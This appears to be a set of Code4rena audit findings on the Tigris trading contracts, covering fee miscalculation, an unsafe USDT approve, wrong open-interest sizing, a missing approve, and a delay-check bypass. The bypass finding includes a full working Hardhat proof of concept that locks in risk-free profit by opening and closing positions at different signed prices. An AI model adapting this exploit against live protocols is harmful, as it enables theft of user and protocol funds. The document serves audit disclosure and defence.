removeMargin()
updateTpSl()
executeLimitOrder()
liquidatePosition()
limitClose()

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L278

Vulnerability details

Impact

There is a typo error in addToPosition function, causes no fee charged from user while adding position.

Proof of Concept

See the audit comment line, the user's deposit amount should be _addMargin rather than _addMargin - _fee.

    function addToPosition(
        uint _id,
        uint _addMargin,
        PriceData calldata _priceData,
        bytes calldata _signature,
        address _stableVault,
        address _marginAsset,
        ERC20PermitData calldata _permitData,
        address _trader
    )
        external
    {
        _validateProxy(_trader);
        _checkOwner(_id, _trader);
        _checkDelay(_id, true);
        IPosition.Trade memory _trade = position.trades(_id);
        tradingExtension.validateTrade(_trade.asset, _trade.tigAsset, _trade.margin + _addMargin, _trade.leverage);
        _checkVault(_stableVault, _marginAsset);
        if (_trade.orderType != 0) revert("4"); 
        uint _fee = _handleOpenFees(_trade.asset, _addMargin*_trade.leverage/1e18, _trader, _trade.tigAsset, false);
        _handleDeposit(
            _trade.tigAsset,
            _marginAsset,
            _addMargin - _fee, // @audit should be _addMargin
            _stableVault,
            _permitData,
            _trader
        );
        position.setAccInterest(_id);
        unchecked {
            (uint256 _price,) = tradingExtension.getVerifiedPrice(_trade.asset, _priceData, _signature, _trade.direction ? 1 : 2);
            uint _positionSize = (_addMargin - _fee) * _trade.leverage / 1e18;
            if (_trade.direction) {
                tradingExtension.modifyLongOi(_trade.asset, _trade.tigAsset, true, _positionSize);
            } else {
                tradingExtension.modifyShortOi(_trade.asset, _trade.tigAsset, true, _positionSize);     
            }
            _updateFunding(_trade.asset, _trade.tigAsset);
            _addMargin -= _fee;
            uint _newMargin = _trade.margin + _addMargin;
            uint _newPrice = _trade.price*_trade.margin/_newMargin + _price*_addMargin/_newMargin;

            position.addToPosition(
                _trade.id,
                _newMargin,
                _newPrice
            );
            
            emit AddToPosition(_trade.id, _newMargin, _newPrice, _trade.trader);
        }
    } 

Tools Used

VS Code

Recommended Mitigation Steps

Change _addMargin - _fee to _addMargin.

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L857-L868

Vulnerability details

Impact

The current implementation uses _checkDelay() function to prevent profitable opening and closing in the same tx with two different prices in the "valid signature pool". But the protection is not enough, an attacker can long with low price and short with high price at the same tx but two orders to lock profit and take risk free funds.

Proof of Concept

The following test case and comments show the details for how to exploit it

const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');

describe("Bypass delay check to earn risk free profit", function () {

  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;

  let TradingLibrary;
  let tradinglibrary;

  let StableToken;
  let stabletoken;

  let StableVault;
  let stablevault;

  let position;

  let pairscontract;
  let referrals;

  let permitSig;
  let permitSigUsdc;

  let MockDAI;
  let MockUSDC;
  let mockusdc;

  let badstablevault;

  let chainlink;

  beforeEach(async function () {
    await deployments.fixture(['test']);
    [owner, node, user, node2, node3, proxy] = await ethers.getSigners();
    StableToken = await deployments.get("StableToken");
    stabletoken = await ethers.getContractAt("StableToken", StableToken.address);
    Trading = await deployments.get("Trading");
    trading = await ethers.getContractAt("Trading", Trading.address);
    TradingExtension = await deployments.get("TradingExtension");
    tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address);
    const Position = await deployments.get("Position");
    position = await ethers.getContractAt("Position", Position.address);
    MockDAI = await deployments.get("MockDAI");
    MockUSDC = await deployments.get("MockUSDC");
    mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address);
    const PairsContract = await deployments.get("PairsContract");
    pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address);
    const Referrals = await deployments.get("Referrals");
    referrals = await ethers.getContractAt("Referrals", Referrals.address);
    StableVault = await deployments.get("StableVault");
    stablevault = await ethers.getContractAt("StableVault", StableVault.address);
    await stablevault.connect(owner).listToken(MockDAI.address);
    await stablevault.connect(owner).listToken(MockUSDC.address);
    await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true);
    await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1"));
    await tradingExtension.connect(owner).setNode(node.address, true);
    await tradingExtension.connect(owner).setNode(node2.address, true);
    await tradingExtension.connect(owner).setNode(node3.address, true);
    await network.provider.send("evm_setNextBlockTimestamp", [2000000000]);
    await network.provider.send("evm_mine");
    permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256);
    permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256);

    const BadStableVault = await ethers.getContractFactory("BadStableVault");
    badstablevault = await BadStableVault.deploy(StableToken.address);

    const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed");
    chainlink = await ChainlinkContract.deploy();

    TradingLibrary = await deployments.get("TradingLibrary");
    tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address);
    await trading.connect(owner).setLimitOrderPriceRange(1e10);
  });


  describe("Simulate long with low price and short with high price at the same tx to lock profit", function () {
    let longId;
    let shortId;
    beforeEach(async function () {
        let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
        let PriceData = [node.address, 1, parseEther("1000"), 0, 2000000000, false];
        let message = ethers.utils.keccak256(
          ethers.utils.defaultAbiCoder.encode(
            ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
            [node.address, 1, parseEther("1000"), 0, 2000000000, false]
          )
        );
        let sig = await node.signMessage(
          Buffer.from(message.substring(2), 'hex')
        );
        
        let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
        longId = await position.getCount();
        await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
        expect(await position.assetOpenPositionsLength(1)).to.equal(1);

        TradeInfo = [parseEther("1010"), MockDAI.address, StableVault.address, parseEther("10"), 1, false, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
        PriceData = [node.address, 1, parseEther("1010"), 0, 2000000000, false];
        message = ethers.utils.keccak256(
          ethers.utils.defaultAbiCoder.encode(
            ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
            [node.address, 1, parseEther("1010"), 0, 2000000000, false]
          )
        );
        sig = await node.signMessage(
          Buffer.from(message.substring(2), 'hex')
        );
        
        PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false];
        shortId = await position.getCount();
        await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
        expect(await position.assetOpenPositionsLength(1)).to.equal(2);
  
    });


    it.only("Exit at any price to take profit", async function () {
        // same time later, now we can close the orders
        await network.provider.send("evm_setNextBlockTimestamp", [2000000100]);
        await network.provider.send("evm_mine");

        // any new price, can be changed to other price such as 950, just ensure enough margin
        let closePrice = parseEther("1050");
        let closePriceData = [node.address, 1, closePrice, 0, 2000000100, false];
        let closeMessage = ethers.utils.keccak256(
          ethers.utils.defaultAbiCoder.encode(
            ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
            [node.address, 1, closePrice, 0, 2000000100, false]
          )
        );
        let closeSig = await node.signMessage(
          Buffer.from(closeMessage.substring(2), 'hex')
        );
        
        let balanceBefore = await stabletoken.balanceOf(owner.address);
        await trading.connect(owner).initiateCloseOrder(longId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
        await trading.connect(owner).initiateCloseOrder(shortId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
        let balanceAfter = await stabletoken.balanceOf(owner.address);
        let principal = parseEther("1000").add(parseEther("1010"));

        let profit = balanceAfter.sub(balanceBefore).sub(principal);
        expect(profit.gt(parseEther(`50`))).to.equal(true);
    });

    it.only("Exit with another price pair to double profit", async function () {
      // some time later, now we can close the orders
      await network.provider.send("evm_setNextBlockTimestamp", [2000000100]);
      await network.provider.send("evm_mine");

      // any new price pair, can be changed to other price such as (950, 960), just ensure enough margin
      let closePrice = parseEther("1050");
      let closePriceData = [node.address, 1, closePrice, 0, 2000000100, false];
      let closeMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, closePrice, 0, 2000000100, false]
        )
      );
      let closeSig = await node.signMessage(
        Buffer.from(closeMessage.substring(2), 'hex')
      );
      
      let balanceBefore = await stabletoken.balanceOf(owner.address);

      // close long with high price
      await trading.connect(owner).initiateCloseOrder(longId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);


      closePrice = parseEther("1040");
      closePriceData = [node.address, 1, closePrice, 0, 2000000100, false];
      closeMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, closePrice, 0, 2000000100, false]
        )
      );
      closeSig = await node.signMessage(
        Buffer.from(closeMessage.substring(2), 'hex')
      );
      // close short with low price
      await trading.connect(owner).initiateCloseOrder(shortId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
      let balanceAfter = await stabletoken.balanceOf(owner.address);
      let principal = parseEther("1000").add(parseEther("1010"));

      let profit = balanceAfter.sub(balanceBefore).sub(principal);
      expect(profit.gt(parseEther(`100`))).to.equal(true);
    });

  });
});

How to run Put the test case to a new BypassDelayCheck.js file of test directory, and run

npx hardhat test

And the test result will be

  Bypass delay check to earn risk free profit
    Simulate long with low price and short with high price at the same tx to lock profit
      √ Exit at any price to take profit
      √ Exit with another price pair to double profit

Tools Used

VS Code, hardhat

Recommended Mitigation Steps

Cache recent lowest and highest prices, open long order with the highest price and short order with the lowest price.

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L652

Vulnerability details

Impact

The _handleDeposit() function doesn't process approve() call to _marginAsset properly, some non-standard ERC20 tokens such as USDT will revert the approve() call if the previous allowance is not zero. Then the system is unavailable to create any new orders of the same margin asset.

Proof of Concept

The vulnerability point

    function _handleDeposit(address _tigAsset, address _marginAsset, uint256 _margin, address _stableVault, ERC20PermitData calldata _permitData, address _trader) internal {
       // ...
        if (_tigAsset != _marginAsset) {
            if (_permitData.usePermit) {
             //...
            IERC20(_marginAsset).approve(_stableVault, type(uint).max); // @audit unsafe approve
            // ...
        } else {
           // ...
        }        
    }

The example of USDT

    function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {

        // To change the approve amount you first have to reduce the addresses`
        //  allowance to zero by calling `approve(_spender, 0)` if it is not
        //  already 0 to mitigate the race condition described here:
        //  https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
        require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));

        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
    }

Source: https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7#code

Tools Used

VS Code

Recommended Mitigation Steps

Only approve once

function _handleDeposit(address _tigAsset, address _marginAsset, uint256 _margin, address _stableVault, ERC20PermitData calldata _permitData, address _trader) internal {
    // ...
    if (_tigAsset != _marginAsset) {
        if (_permitData.usePermit) {
            //...
        if (IERC20(_marginAsset).allowance(address(this), _stableVault) == 0) { // @fix
            IERC20(_marginAsset).approve(_stableVault, type(uint).max); // @fix
        } // @fix
        // ...
    } else {
        // ...
    }        
}

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L513-L517

Vulnerability details

Impact

executeLimitOrder() calls modifyLongOi() and modifyShortOi() with wrong position size, causes the following state variables wrongly updated

// Position.sol
fundingDeltaPerSec
longOi
shortOi

// PairsContract.sol
_idToOi

Proof of Concept

The vulnerability points

function executeLimitOrder(
    uint _id, 
    PriceData calldata _priceData,
    bytes calldata _signature
) 
    external
{
    unchecked {
        //...
        if (trade.direction) {
            tradingExtension.modifyLongOi(trade.asset, trade.tigAsset, true,
                trade.margin*trade.leverage/1e18); // @audit should be (trade.margin - _fee)*trade.leverage/1e18
        } else {
            tradingExtension.modifyShortOi(trade.asset, trade.tigAsset, true,
                trade.margin*trade.leverage/1e18); // @audit should be (trade.margin - _fee)*trade.leverage/1e18
        }
        // ...
    }
}

Tools Used

VS Code

Recommended Mitigation Steps

Use margin after fee to calculate position.

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L749

Vulnerability details

Impact

_handleOpenFees() is missing approve before calling gov.distribute(), the gov contract will fail to distribute open fee.

Proof of Concept

vulnerability point

    function _handleOpenFees(
        // ...
    )
        internal
        returns (uint _feePaid)
    {
        // ...
        // @audit missing IStable(_tigAsset).approve(address(gov), type(uint).max);
        gov.distribute(_tigAsset, IStable(_tigAsset).balanceOf(address(this)));
    }

related function

    function distribute(address _tigAsset, uint _amount) external {
        if (assets.length == 0 || assets[assetsIndex[_tigAsset]] == address(0) || totalSupply() == 0 || !_allowedAsset[_tigAsset]) return;
        try IERC20(_tigAsset).transferFrom(_msgSender(), address(this), _amount) {
            accRewardsPerNFT[_tigAsset] += _amount/totalSupply();
        } catch {
            return;
        }
    }

Tools Used

VS Code

Recommended Mitigation Steps

    function _handleOpenFees(
        // ...
    )
        internal
        returns (uint _feePaid)
    {
        // ...
+       IStable(_tigAsset).approve(address(gov), type(uint).max); // @fix
        gov.distribute(_tigAsset, IStable(_tigAsset).balanceOf(address(this)));
    }